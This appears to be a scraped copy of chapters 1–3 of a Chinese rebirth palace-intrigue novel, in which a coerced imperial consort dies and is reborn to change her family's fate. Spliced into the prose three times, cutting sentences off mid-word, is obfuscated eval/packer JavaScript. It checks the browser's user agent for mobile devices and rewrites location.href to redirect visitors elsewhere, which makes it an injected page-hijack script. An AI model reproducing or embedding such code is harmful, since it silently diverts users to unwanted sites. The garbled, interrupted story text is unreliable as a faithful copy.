《嫁太子不如嫁皇帝》 1. 第 1 章 昨日是立秋,冷冽的秋风刮了整整一日,到了夜晚躺在被窝,依旧能听见秋风呼啸,裹着干枯树叶划过地面的声音,像是鬼魅哀嚎之声。 一夜过去,京中的气温骤降,闻雪英晨起时便觉得嗓子有些干涩发疼,整个人也昏昏沉沉的,想是夜里着了风寒。 宫女伺候她洗漱的时候,闻雪英没忍住咳嗽了两声,几个宫女顿时如临大敌,个个面露惊慌,为首的宫女立即放下手里的活儿,说马上去请陛下。 闻雪英喝住了她,示意其他宫女替她倒杯温水过来,她喝了两口,润了润喉,继而平静道:“陛下会治病吗?” 她的语气没有丝毫起伏,脸色确实一瞬间冷了下来。 宫女愣了愣,察觉到她的不悦,忙跪了下去,将身子俯得很低。 闻雪英听到宫女向她请罪:“娘娘息怒。” 语气中隐约带着些惧意。 她抿了抿唇,神情复杂地低头看向跪在她脚边的宫女,沉默半晌道:“你抬起头来。” 宫女依言直起上半身,将自己的脸扬起来。 闻雪英细细将那宫女细细打量一番,说道:“你是新来的。” 她不是疑问的口吻,可宫女还是恭敬答道: “回娘娘的话,奴婢名叫青古,是半个月前被内廷司指派来伺候娘娘的。” 宫女的声音里似乎带着隐隐的欣喜,仿佛能来伺候她是什么求之不得的差事,闻雪英随手拿起了妆台上的一支精美珠钗把玩着,闻言愣了愣,嘴角忍不住露出一个充满讽刺的浅笑。 她心想,又换人了。 这一年来,靖桓宇隔三差五地便要更换她身边伺候的宫人,往往她连她们的模样名字都没记下,就又被几张陌生的面孔给替换了。 也罢,无论是谁伺候在她身边,于她而言都没有什么区别。 她如今不过一具行尸走肉,若不是为了仅活在人世的一双弟妹,她想她早就去九泉之下与家人团聚了。 想到弟妹,闻雪英的眼睛里总算是少了些黯淡。 她深吸一口气,道:“去请太医吧。” 再过几日,该是靖桓宇承诺她的每月与弟妹相见的日子,她得快点好起来,不能让弟弟妹妹为她担心。 * 靖桓宇答应每月十五让她在宫中无人居住的宫殿与弟妹相见,可一转眼都已经过了这月的二十,闻雪英迟迟等不到弟弟妹妹入宫。 偏偏这几日靖桓宇也一直宿在乾元殿,未曾踏足后宫一步。 她心中难免不安,一连好几日都茶饭不思,夜不能寐,青古见她失神,便安慰她道:“先帝的祭日在这个月,许是内廷司忙过了头,忘了接娘娘的家人入宫吧。” 闻雪英立在门边,手指下意识地扣着门框,指甲断了也不曾察觉。 她觉得青古的话站不住脚,接两个人入宫而已,内廷司那么多的奴才,不至于腾不开手。 “陛下如今是在乾元殿吗?” 青古看了看院中日晷,猜测道:“这个时辰,陛下刚下早朝,应当是在乾元殿与重臣们议事呢。” 闻雪英深吸一口气,用力闭了闭眼,片刻后又睁开。她终于按捺不住,转身吩咐宫女:“替我梳妆,我要去见陛下。” 青古又喜又惊,怔愣过后连忙行动起来。 她一边服侍闻雪英换衣,一边笑着道:“皇上见到娘娘,一定会高兴的。” 闻雪英听着,唇角不由浮上一丝冷笑,为自己的身不由己感到可悲。 这一年来,靖桓宇常拿弟妹的性命要挟她,为了弟妹的性命,闻雪英不知道在靖桓宇跟前低头妥协了多少次。 她稍稍一想就知道,这次迟迟不见弟妹入宫,不过是因为前几日她侍寝时表情淡漠,始终不肯看靖桓宇一眼,他当时虽没说什么,但显然他是不能容忍她对他丝毫的轻视,这不,现在靖桓宇正等着她去向他摇尾乞怜呢。 瞧这新来的宫女兴高采烈地替她梳妆打扮的模样,闻雪英就清楚她约摸只知道她是靖桓宇宠爱的贵妃,却不知道靖桓宇曾下令杀了她全家的事。 闻雪英无意纠正青古的话,只让她从衣柜里翻出一身白色的宫装,青古已经捧了一件红色的出来,闻言小声道:“娘娘,您穿红色的好看。” 红色的确更衬得她明艳夺目,只是靖桓宇更喜欢她穿一身雪白。 “就穿白色。” 青古见她坚持,只好重新换了出来。 * 换好衣裳,她就去了乾元殿。 靖桓宇看到她来,似乎很高兴,放下手边的政事就迎了上来,握着她的手,揽过她的腰,扶着她坐到塌上。 “你的风寒还没痊愈,天寒地冻的,怎么来这儿了?” 他语气里是满满的关心与疼惜,仿佛她真是他最宠爱的人。 也正是因为他这般行为,才会叫那新来的宫女说出那种荒谬的话。 闻雪英心里恨得要死,恨不能冲上去咬破他的喉咙,然而她没有忘记今日来此的目的。 她强颜笑道:“陛下,今儿已经是十五了,雪洲和雪琼还没入宫,臣妾有些想念他们了。” 靖桓宇像是突然想起了什么,他坦然地“唔”了一声,接着道:“本来想瞒着你的,谁知你自己找了过来。” 闻雪英心头一凛,疑惑道:“陛下此话何意?” 靖桓宇道:“前几日天气突然冷了下来,你弟弟妹妹也感染了风寒,如今还没好全,你也病着,朕怕他们再过了病气给你,便打算等他们痊愈后,再安排他们与你相见。” “原来如此。”闻雪英舒了口气,继而道:“臣妾还以为陛下生臣妾的气,不让臣妾见他们了。” “怎么会,朕不是答应过你吗,只要你一直陪在朕身边,朕不会阻止你们姐弟三人相见。” 生怕自己眼底的愤恨被他发觉,闻雪英强迫自己将头埋在他肩膀,闭上眼说着违心的话:“多谢陛下。” 无论如何,既得到了靖桓宇的承诺,闻雪英的心也安定了不少,她便起身打算找个借口离开,然人刚下了地,靖桓宇却抓着她的手腕猛一用力,她的身体又不受控制地跌坐在他大腿上。 他埋首在她颈肩,吸了口气,慢条斯理道:“你好香啊。” 一旁伺候的宫女太监见状纷纷退了出去,关上了内室的门。 闻雪英尽力维持着脸上的笑,不敢再露出一丝一毫可能让靖桓宇不悦的表情。 她今日来此的目的,便是为了讨好靖桓宇。 * 凤仪宫中,皇后赵又岚面对满桌丰盛的饭菜却没有半分胃口,她眉心笼罩着几分忧伤,亦有几分冷凝。 不多时,有宫女脚步轻轻地上前,低声道:“皇后娘娘,奴婢先伺候您用晚膳吧,乾元殿刚派人传了话,下午贵妃去了乾元殿,这会儿还没出来,想必今晚陛下是不会来了。” 赵又岚听罢微微挑眉,好奇道:“贵妃倒是难得主动去寻陛下。” 宫女道:“想来是因为这个月贵妃没见到她的弟妹一事吧。” 赵又岚微微一愣,沉吟片刻道:“这个月十五,贵妃的弟妹没有入宫?” 宫女摇了摇头。 赵又岚蹙眉,想了想道:“内廷司不至于连这点事都能忘,你派人去宫外打听打听,贵妃的弟妹,该不是出了什么事吧?” 宫女应声退下,赵又岚坐了半晌也放下了筷子,今日这个膳,她是没心情再用下去了:“撤了吧,本宫不饿。” * 当外头响起太监高呼“皇后娘娘驾到”时,闻雪英有一瞬间的茫然。 她怔愣了好一会儿,才反应过来皇后是谁,遂起身出去迎驾。 上一次见到赵又岚,还是靖桓宇刚登基那会儿,彼时她是靖桓宇的正妃,而赵又岚是侧妃。 靖桓宇登基为帝,她满心欢喜地等着自己被册封为皇后,岂料册封的旨意没有等到,倒是等来了她父亲与废燕王勾结谋逆的消息。 那时先帝的丧仪刚结束,就在她和赵又岚等一众新帝家眷准备搬入皇宫那日,她父亲被下狱的圣旨来了。 闻雪英一下子成了罪臣之女,不能搬入皇宫,只能被囚在魏王府中。 她被关在魏王府三个月,无论怎么哭求,靖桓宇除了让人带来一句“你放心”以外,始终未曾见她一面。 后来终于出来了,可一切也晚了,除了她的弟妹,闻家的人都死了。 靖桓宇说:“你父亲虽是朕的岳丈,但他犯的是谋逆的死罪,朕刚登基,若对此事姑息,以后朝臣恐怕也会认为朕是一个昏庸护短的皇帝,朕没有办法,只能保下你的一双弟妹,你要体谅朕……” 听到这些令人浑身发抖的话语,闻雪英歇斯底里地闹过,哭过,但最后她只能收起一切悲伤。 弟妹成了闻雪英在这世上唯一的软肋和掣肘,让她只能“忘记”仇恨,继续委身于靖桓宇,被他安排一个新的身份,入宫当他可笑至极的宠妃。 思绪飘得有些远了,闻雪英强迫自己回神,低眉向赵又岚下跪请安:“皇后娘娘万安。” 她曾经与赵又岚分别为靖桓宇的正妃和侧妃,两人一度在魏王府明争暗斗,势同水火,但这次赵又岚没有为难她。 她很温和从容地开口:“平身吧,坐下说话。” 闻雪英起身,在赵又岚下首坐定,垂眸不语。 赵又岚将她上下打量一番,颇为感慨道:“一年未见,你看着憔悴了很多。” 闻雪英淡淡道:“多谢皇后娘娘关怀,嫔妾无碍。” 赵又岚微微一笑,顿了顿,语气闲闲地道:“记得从前在王府时,都是每日我去向你请安的。” 闻雪英神色平静:“风水轮流转,谁能想到最后住进凤仪宫的人,会是娘娘您呢。” 她说话的神情语气,半点不见对赵又岚的尊敬,赵又岚却也不恼,她眼底反而透出隐隐的怜悯之意。 无声地沉默片刻,赵又岚再度开口:“说到风水轮流转,闻雪英,你可曾想过闻大人为何会谋反?” 提到早已魂归九泉的父亲,闻雪英心脏处一阵抽痛。 她拿起桌上的茶盏抿了一口,顺势调整了下自己的呼吸,随后缓缓开口:“前朝之事,后宫妇人还是不要置喙了吧。” 赵又岚没说什么,只是盯着她看了一会儿,突然道:“你心里其实清楚的很,闻大人绝不会谋反。” 闻雪英握着茶盏的手指泛白,她嘴角噙着得体的笑容,沉默着。 她当然知道父亲不会谋反,父亲多半是被朝中奸人陷害,只是知道又能如何呢?她没有为父亲翻案的能力,也不能为着靖桓宇的狠心与他翻脸。 为了弟弟妹妹,她只能假装忘记家人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵又岚叹了口气,握紧了手中的帕子,“贵妃,你要节哀,你弟弟妹妹上个月去城外寺庙祈福时,遇到山匪打劫,不幸命丧于山匪之手了。” 多么冰冷的字眼,像是无数把锋利的匕首,顷刻间将闻雪英早已千疮百孔的心碾得粉碎。 不知怔愣了多久,闻雪英才发出沙哑又凄厉的一声:“我不信!” 赵又岚这时已经起了身,开始往外走了,“陛下今晚应当还会来你这儿,你不妨问问他。” 她留下这句话,便头也不回地回了凤仪宫,仿佛她只是来找闻雪英闲话家常。 凤仪宫的大宫女极为不安,她扶着赵又岚,忐忑道:“皇后娘娘,皇上一直瞒着贵妃,您今日此举,皇上要是知道了,怕是要动怒啊。” 赵又岚道:“自贵妃入宫后,她身边伺候的宫女已经换了不下十拨了,你知道那些被皇上撤出贵妃宫里的人都去了吗?” “这,奴婢不知。” “他们,都被皇上秘密处死了。” 宫女闻言倒抽一口冷气,骇然道:“可皇上为何要如此啊?” 因为他怕闻雪英与那些宫人相熟,知道了他不想让她知道的事。 赵又岚神情凝重,心道皇上大抵是疯魔了,行事才会如此不符常理,狠心杀了闻雪英的家人,又想法设法将闻雪英困在宫里,简直不可理喻。 可她身为皇后,不能眼睁睁看着皇上执迷不悟下去,她思来想去,只能从闻雪英身上下手。 宫女明白了她的意图,可心里还是有些拿不准:“可万一贵妃为了荣华富贵,与皇上尽释前嫌呢?” 赵又岚道:“以贵妃的性子,没了掣肘,她绝对不会苟活于世,委身于皇上。” 她料定了闻雪英会自尽,却没料到她会做别的事。 夜已很深,子时的更声已敲响了很久。赵又岚渐渐进入了梦乡,却突然被贴身的宫女摇醒。 宫女说,皇上召她即刻去贵妃宫里。 她没有迟疑,起身穿戴好就出了凤仪宫。 贵妃宫院内此刻围满了侍卫,正殿门口还跪着几名太医。 赵又岚被这阵仗吓了一跳,她在大门外稍稍停顿,继而稳住心神,缓缓往里走去。到了正殿门口,迎面而来便是一股浓重的血腥味。 这味道让她忍不住反胃。 她咬了咬舌尖,强自镇定地走了进去,却被里头的那一幕,惊得瘫软在地。 殿内,靖桓宇坐在塌上,上身的衣衫尽退,他的腹部缠着一圈麻布,麻布上有血迹渗出,显然是受伤了。 而贵妃则是双眼圆睁,一动不动地躺在地上。 贵妃的胸口此刻插着一把匕首,有源源不断的鲜血从匕首插入的地方流出,浸湿了她的衣衫,流淌了一地。 她的胸膛平静如止水,没有一丝一毫的起伏。 赵又岚浑身不由地颤抖起来,想问什么,却是半晌说不出话来。 靖桓宇这时终于将目光移向她,他只是看着她,并没有说话。 有那么一瞬间,赵又岚似乎在他眼中看到了滔天的怒火,可下一刻,靖桓宇却只是缓缓下了塌,慢慢朝她走近,弯腰将她扶起,轻描淡写地道:“贵妃骤然薨逝,她的丧事,就交给你去办吧。” 赵又岚的情绪已经恢复如常,她看了一眼地上的闻雪英,犹豫再三后还是出了声:“皇上,发生什么事了?” 靖桓宇没有回答,只是重重地拍了拍赵又岚的肩膀,顶着一张苍白的面庞走了。 而赵又岚,她虽惊愕,可慢慢地也冷静下来。 她缓缓走到闻雪英身边蹲下,伸出手将她的眼皮轻轻阖上。 赵又岚低声呢喃着:“如今你也算是解脱了,所以,别怪我。” 2. 第 2 章 “子曰:学而时习之,不亦说乎?有朋自远方来,不亦乐乎?人不知而不愠,不亦君子乎?” 耳边有儿童低声吟诵《论语》的声音,这声音稚嫩又纯真,像是春日里潺潺的小溪,缓缓流淌。 闻雪英闭着眼,唇角浮起一抹淡淡的笑。 她心想原来人死后入了地府,听到的并不是凄厉的百鬼啼哭之声。 她轻轻地呼出一口气,打算继续聆听这天籁之音,然而那吟诵声却是戛然而止,紧接着是一阵“噔噔噔”的脚步声,带着喜悦的软糯童声在耳边响起: “姐姐,你醒了吗?” 闻雪英一愣,尚未来得及有所反应,脸颊上便传来一阵温润触感,有圆乎乎的小手摸了摸她的脸颊。 闻雪英呼吸一滞,缓缓睁开双眼。 映入眼帘的是一男一女两个孩童,两人不停眨巴着乌黑明亮的眼睛,见她睁眼,他们脸上不禁露出了甜甜的笑。 那两张稚嫩童颜,与她记忆中的两个人映照起来。 闻雪英呆了一瞬,不可思议地唤道:“琼儿,小洲?” 方才抚摸她脸颊的是那女童,听到闻雪英的声音,女童露出两颗尖尖的虎牙一笑,回道:“姐姐,你好点儿了吗?” 她话音刚落,那男童又将自己的手伸了过来,也有模有样地在闻雪英额头探了探,接着道:“好像不烫了,娘说只要姐姐的额头不烫手就是好了。” 女童拍了拍双手,欢快道:“那太好了。” 男童又问:“姐姐,你想喝水吗?” 说着不待闻雪英回答,他就已经转身“噔噔噔”地跑到桌前,踮起脚费力地倒了杯水,随即小心翼翼地捧到闻雪英跟前。 女童这时拉了拉她的手道:“姐姐,起来喝点水吧。” 闻雪英顺着她的拉扯缓缓坐起身,她茫然接过了男童手中还泛着热气的水杯,却迟迟没有喝下。 她抬头环顾着周遭环境,确定这是她未成婚前的闺房。 眼前的这两个小孩,分别是她的双胞胎弟妹闻雪洲和闻雪琼。 便是赵又岚口中死于山匪手中的双胞胎弟妹。 可如今看他们的样子,不过五六岁…… 她是在做梦吗…… 闻雪英来不及思考,身子一倾,用力将他两揽进怀里,紧紧抱着。 “琼儿,小洲,姐姐对不起你们……” 眼泪猝不及防地滑落,闻雪英泣不成声,只是不断地重复着:“对不起。” 杯中的水被她打翻,锦被湿了一大片。 五岁的闻雪琼和闻雪洲一头雾水,两人完全不明白刚刚醒来的姐姐为何会痛哭流涕。 两人动也不敢动,只能用小小的手掌轻轻抚摸姐姐的后背,就像平日里姐姐对待他们那般。 闻雪英的哭声是被一道慌乱着急的声音打断的:“怎么了怎么了,出什么事了?” 随着这声音而来的,是一位约摸三十来岁的美貌妇人。 这妇人的面容闻雪英也很熟悉,那是她的继母钱晚宁。 她止了哭声,松开紧抱着闻雪洲和闻雪琼的双臂。 两小孩趁机挣脱出来,齐齐跑向钱晚宁。 闻雪洲抱着她的大腿喊道:“娘,姐姐好像疯了!” 钱晚宁一滞,不由低头瞪了他一眼,嗔道:“别乱讲话。” 不过她一进门就看到哭得满脸泪痕的闻雪英,心中也难免担心。 钱晚宁忙吩咐奶娘将两个孩子带下去,随后疾走两步到床前,拿起手中的帕子一面替闻雪英擦着眼泪,一面温言安慰:“好端端怎么哭成这样,就因为你父亲不同意将你嫁给二皇子?” 闻雪英怔怔地看着她,试图理解她话中含义。 钱晚宁见她一副失了魂的模样,叹了口气,语重心长地道:“你父亲这个人,你又不是不知道,他不过是嘴上严厉罢了,你这突然一病,他心疼得跟什么似的。” 钱晚宁低头看到闻雪英几乎湿透的被子,又招呼外间的丫头进来替她整理更换。 闻雪英从她短暂的话语里渐渐寻到蛛丝马迹,她突然握住钱晚宁的手,焦急道:“母亲,我爹是不是进宫了?” 钱晚宁被她吓了一跳,拍了拍胸口微笑道:“对啊,你一心想嫁给二皇子,你父亲只好入宫向皇上求赐婚的旨意,他……” “不行……”闻雪英突然出声,接着便推开钱晚宁下了地,赤着脚就要往外跑。 根据母亲这三两句话,闻雪英的记忆逐渐变得清晰。 她曾经鬼迷心窍非要嫁给靖桓宇,又是哭又是闹的让父亲替她想办法,父亲实在拗不过她,便在一日入宫求皇上赐婚。 如今听钱晚宁所言,想来父亲入宫求赐婚便是今日。 她尚且分不清自己是在做梦,还是老天开眼给了她重来的机会,可无论是做梦还是重来,今日她都得阻止父亲入宫。 她不要再嫁给靖桓宇了。 闻雪英病了一场,身子本来就有些虚弱,她走了没两步就跌倒在地,顿时钱晚宁并几个丫头都手忙脚乱地过来扶她。 “雪英,你莫非真疯了?”钱晚宁被她这突然一出给吓得心惊肉跳,忍不住提高声音道:“你到底怎么了?” 闻雪英脸色发白,记忆里全家被杀的惨剧让她的身体止不住地颤抖,她用力掐了掐手心,强迫自己先冷静下来:“母亲,不能让我爹入宫求陛下赐婚,我不要嫁给二皇子了。” 钱晚宁愕然不解,明明昨日还要死要活地闹腾呢。 闻雪英央求道:“母亲,你快派人去追我爹,一定一定,不能让他去求陛下赐婚。” 钱晚宁仍是疑惑,但见她凝重的神情不像是开玩笑,忙吩咐贴身的丫鬟出去安排人去追闻仲年。 “你放心,雪天路滑,你爹出门没多久,能追得上的。” 钱晚宁这样安慰她,但闻雪英还是害怕,她在钱晚宁的搀扶下又回到了床上,却是久久静不下心来。 手心里被她掐出几个血痕,疼痛直达心口,这一切都在告诉她,她不是在做梦。 她是真的重生了。 重生到了一切都还没有发生的时候。 想到此,她苍白惨淡的面容浮现出微微的笑,还好,她回来的时间刚刚好,若是再晚上个一刻钟,只怕陛下就下了那道赐婚圣旨。 前世,她的家人全部惨死,最后得知弟妹也丧命于山匪之手后,她彻底没了活下去的希望。 她将匕首藏在袖中,本想与靖桓宇同归于尽,奈何她力气终究敌不过靖桓宇,只不过在他腹部刺了一刀,终究是没能要了他的命。 仅仅一瞬间,靖桓宇从惊愕中反应过来,将那把匕首刺入了她的胸口…… 她死得可谓是十分憋屈,直到咽气的前一刻,她心里还是充斥着无边的愤恨。 靖桓宇抱着她渐渐软去的身体红着眼不停地质问她为什么,疼痛让她说不出话来,只能用一双淬满了仇恨的双眼瞪着他。 原以为就这么结束了,谁能想到再一睁眼,她又回到了噩梦开始的地方。 这一次,她要想办法保全全家人,也要阻止靖桓宇登上皇位。 * 闻雪英战战兢兢地坐着,不敢有片刻的懈怠,终于,母亲派去给她爹传话的小厮赶了回来,说人追上了,也转达了她的话。 闻雪英始终高悬的心终于安安稳稳地落回了肚子里。 精神一放松,身体的疲惫感霎时涌了上来,闻雪英倒在床上,很快就睡沉了。 钱晚宁本想问问她到底怎么了,岂料一个转身她已经呼呼大睡,钱晚宁无奈摇头,只得先行离开。 * 等闻雪英再次醒来时,床边守着的人变成了她的两名贴身丫鬟,鞠衣和琥珀。 鞠衣和琥珀的年纪比闻雪英还要大上五六岁,前世家里出事后,靖桓宇就将他们调离自己身边,说是让她们出宫照顾琼儿和小洲。 鞠衣和琥珀不是普通的丫鬟,她们有着一身武艺,是她娘亲自挑选来保护她的。 闻雪英当时觉得她们在宫外比留在自己身边要好,可后来仔细想想,若是靖桓宇真让她们留在琼儿和小洲身边,区区山匪又怎么会伤得了琼儿和小洲…… 罢了,不想了。 闻雪英已经冷静了许多,她没再失态痛哭,只是目不转睛地盯着她们两,仿佛怎么看也看不够。 鞠衣和琥珀被她盯得浑身发毛,两人对视了一眼,觉得雪洲少爷的话大抵是对了,大小姐就算没有疯,十有八九也被这场高热给烧傻了。 鞠衣挤出一个笑来,小声道:“小姐,可还觉得不舒服?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059255|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻雪英摇了摇头,坐起身朝她们招招手,两人疑惑走近,她便握着她们两人的手,忍不住再次红了眼眶:“你们两要一直陪着我。” 琥珀的性子一向大大咧咧,闻言挠了挠头,不解道:“我们没有要去哪里啊?” 鞠衣机灵一些,她斜了琥珀一眼,虽不知闻雪英到底怎么了,却还是郑重安慰道:“小姐放心,我们姐妹二人会永远陪着您的。” 闻雪英吸了吸鼻子,将眼中的泪意逼了回去。她顿了顿又惭愧道:“我爹又罚你们了?” 白日醒来时并未见到她二人,想来她们又是替她受罚了。 鞠衣道:“小姐不必担心,老爷只是让我们打扫祠堂罢了,打扫到一半,妇人就派人放我们出来了。” 闻雪英了然,前世这两个丫头怕是也被连累得没什么好下场,今生她不想让她们再因为自己而受一丝委屈。 正在这时,敲门声响起,鞠衣走过去开门,一名身穿绯色官袍,头戴玉冠,看上去约摸四十来岁的男子走了进来,正是闻雪英的父亲,闻仲年。 闻仲年有话要问自己女儿,便将鞠衣和琥珀打发了出去。 他搬了张椅子放在床边,人还没坐下,整个人便被撞得一趔趄。 闻雪英再度赤脚下了地,用力扑进父亲的怀里。 “爹,我好想你啊。” 闻仲年本来板着脸,想问问这个女儿一天天到底搞什么鬼,明明头一日还要死要活地非要嫁给二皇子,等他好不容易说服自己后,她又突然不嫁了。 跟闹着玩一样。 可当女儿含泪扑进自己怀里时,闻仲年一时唯有心疼。 “爹不就在这儿呢吗?天天抬头不见低头见的,说什么想不想的。” 闻雪英哽咽道:“爹,我对不起你,对不起咱们家。” 闻仲年动作僵硬地拍了拍女儿的后背,低声安慰着:“这从何说起呢,小女儿家家的情窦初开,心里有个喜欢的人,也是情理之中,何谈对不起爹,对不起咱们家呢。” 闻雪英语无伦次地诉说着自己的愧疚和思念,闻仲年一头雾水,绞尽脑汁地说着哄人的话。 但他实在不擅长此道,闻雪英哭得满脸是泪,闻仲年急得满头大汗。 好在渐渐地,闻雪英的情绪也平复下来,闻仲年这才有机会小心试探道:“今晨我刚到宫门口,你母亲就派人追上我,说是你亲口说的不想嫁二皇子了?” 闻雪英低着头,带着厚重的鼻音道:“嗯,女儿想通了,爹说得对,二皇子并非良人。” 一夜的功夫就能想通,闻仲年很是怀疑,不过这不重要。 他确定女儿是真不想嫁给二皇子,心里也是舒坦了不少。 闻仲年捋了捋自己的胡子,想了想对她道:“你若想嫁一位皇子,不如嫁给大皇子,爹觉得大皇子其人,倒是个可以托付终身的选择。” 听到此话,闻雪英未说好与不好,她拿出手帕替闻仲年擦了擦额头的汗,扶着他坐下,然后认真看着闻仲年,一字一句地道:“爹,您是不是想扶持大皇子入主东宫?” 这个问题涉及到朝政,闻仲年本不欲多言,只是想到女儿这几日闹得这一出,他还是斟酌着开口:“爹毕竟是前朝旧臣,当今陛下不计前嫌,予我以重任,可一朝天子一朝臣,将来新帝即位,我等前朝旧臣下场如何,实难预料,爹不得不未雨绸缪。” 闻雪英心中了然,父亲的意思已经很明确了,他是看好大皇子的,说不定这个时候他已经开始为大皇子办事。 然而前世因为自己执意要嫁给二皇子,父亲迫不得已只能改投二皇子门下,以至于后来落得那样一个下场。 闻雪英深吸一口气,迟疑半晌后,还是决定开口:“爹,大皇子,是无论如何也登不上帝位的。” 父女两虽是私下说话,闻仲年还是被她这句话吓了一大跳,他立时板起脸:“慎言!” 顿了顿又忍不住疑惑道:“难道你更看好二皇子?” 闻雪英摇摇头,将声音压得更低了些:“爹,二皇子的才能或许比不上大皇子,可大皇子相比于二皇子,存在着一个致命的弱点。” 闻仲年不解:“什么弱点?” “大皇子,不是当今陛下的血脉。” 闻仲年:“……” 3. 第 3 章 有好长一段时间,闻仲年都没有说话,他只是僵硬地坐在那,满脸写着“你在胡说八道什么”。 可对方毕竟是自己的亲生女儿,虽算不上自己亲自抚养长大,但他作为一个父亲,对女儿为人的了解也还是有的。他清楚,不确定的事,女儿从来不会随便放在嘴上,更何况是这种涉及皇室血脉的隐秘私事。 仿佛过了许久,闻仲年终于有了动作。他起身走了两步,又回头看向自家女儿,狐疑道:“这消息,你又是从何得知?” 闻雪英眼神一闪,低下头道:“爹,消息的来源我不能告诉您,不过我绝对不会骗您。” 眼下知道这事的,估计也就只有大皇子的外祖孙家的某些人,她并不敢确保这一世靖桓宇最终会不会查到这件事,可万一查到了,到那时,大皇子靖桓洲的路也就走到头了。 所以,投效大皇子,绝非上策。 “若真如你所说,大皇子非陛下血脉……”闻仲年叹了口气,语气略有些失望:“为保将来,为父似乎只能尽早投入二皇子的麾下了。” “二皇子也不行。”闻雪英不假思索地回绝,尾音带着几不可察的颤意。 闻仲年微微一愣,沉默半晌后无奈开口:“雪英,当今陛下膝下唯有这两个皇子啊……” 大皇子非陛下亲生,二皇子也不能选,那他还能选谁去支持? 这个问题,闻雪英无言以对。 她沉默下来,心中慢慢忖度着。 对于未来太子的人选,陛下实在没有更多的选择余地。 或许陛下现在更看重大皇子一些,可闻雪英知道,等到大皇子的身世大白于天下后,陛下只能将皇位传给二皇子靖桓宇。 除非他还有第三个皇子…… 第三个皇子…… 电光火石间,闻雪英脑中突然闪过一个念头,既然没有选择,那就创造选择。 前世闻家的下场她要避免,所以靖桓宇绝对不能登上皇位,思来想去,最好的办法,便是给陛下多一个太子的人选。 这个人选若是能由她所出,自是再好不过。 思及此,闻雪英用力握了握拳,心里下了决定,她抬头看向闻仲年,轻轻吁出一口气,认真道:“爹,女儿想要嫁给当今陛下。” 闻仲年被大皇子非陛下亲生的消息惊得还未回过神,他觉得口干,走到桌边倒了杯茶水刚饮了一口,闻言猝不及防地将一口茶水喷了出来。 他顾不得擦拭胡须上的水渍,疾步走向闻雪英,盯着她厉声道: “陛下都快年近不惑了,你才十八岁,你脑子里怎么想的?怎么突然就想嫁陛下了?” 闻仲年忍不住用手指戳了戳闻雪英的额头,语气颇有些恨铁不成钢之意:“你就算想嫁人,也该让为父好好地为你挑上一挑,而不是如此草率,昨日要嫁二皇子,今日又想嫁陛下,婚姻大事,岂能如此儿戏!” 闻雪英苦笑一声,缓缓道:“爹,咱们家是李朝旧臣,五年前当今陛下建立大周,咱们降于大周,这几年陛下对待咱们这些李朝旧臣态度如何?” 闻仲年略微一想,抬手朝皇城方向作了一揖,道:“陛下看重我等,从未因我等是李朝旧臣而排挤冷落。” 他语气里充满感激,实在是从心底里感谢当今陛下。 多少王朝更替,旧王朝的臣子往往没有什么好下场,偏当今陛下仁德,不计前嫌,仍对他们这些前朝旧臣委以重任。 这也换来了他们对陛下的忠心耿耿。 闻雪英也知道当今陛下极看重以他爹为首的一批李朝旧臣,否则前世靖桓宇不会设法娶她为妻。 可陛下看重没用,陛下迟早会有殡天那一日,到那时,以她爹为首的李朝旧臣,便会被靖桓宇污蔑成彼时已被废为庶人的大皇子同党,继而铲除殆尽。 闻雪英垂眸,眉宇间是浓重的哀伤:“陛下看重我们,那二皇子对咱们这些李朝旧臣的态度又是如何呢?” 这一次,闻仲年没有立刻回答,他沉默了。 他并不是无缘无故地就选择支持大皇子,归根结底还是因为闻仲年看得出来,二皇子其实并不怎么喜欢他们这些前朝旧臣。 父亲的沉默让闻雪英心口又是一痛,原来父亲是有所察觉的,可前世父亲选择了一意孤行的她,最后落得那样一个下场。 她深吸一口气,垂眸将眼中的泪意逼回去。 “爹,您应该能明白,女儿为何想要嫁给陛下了。” 闻仲年不由叹气,迟疑道:“关于大皇子的身世,你可有确凿的证据,兴许告诉你这事的人,也是胡言乱语呢?” 若有更多的选择,闻仲年实在不愿让自己的女儿嫁一个能做她父亲的人为妻,何况那人还是当今陛下。 闻家的将来如何,该由他和一众族人承担,断没有让一个小女子以身犯险的道理。 闻雪英自然看得出来父亲对自己的疼惜,她心中感到温暖,下定的决心却不打算动摇。 只是光凭她嘴上说几句,父亲心有疑虑也难免。 她闭上眼,回想前世大皇子身世被靖桓宇揭发时那段记忆,似乎与孙贵妃脱不了干系。 孙贵妃是大皇子的姨母,想来她定是知晓大皇子的身世。 闻雪英沉吟片刻,道:“爹,你不妨悄悄派人去亳州,孙家的老宅打探一二。” 大皇子出生于孙家在亳州的老宅,若有除了孙贵妃以外的其他人知道当年的真相,恐怕只有被孙家留在亳州老宅的下人了。 她让闻仲年去查,并不只是为了让他知道他们别无选择,更是因为她其实也不是特别清楚大皇子的身世究竟是怎么一回事。 前世这件事爆发的很突然,闻雪英记得陛下已隐隐透露出欲立大皇子为太子之意,岂料就在这个节骨眼上,有人当着满朝文武的面,上奏指出大皇子乃敬德皇后与他人私通所生。 此话一出,朝野震惊。 陛下不得不派人去调查,最终的结果便是大皇子的确不是陛下的骨肉。 事情的详细经过闻雪英那会儿并未留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13059256|137652||http|test|mini|href|location''.split(''|''),0,{})); () { 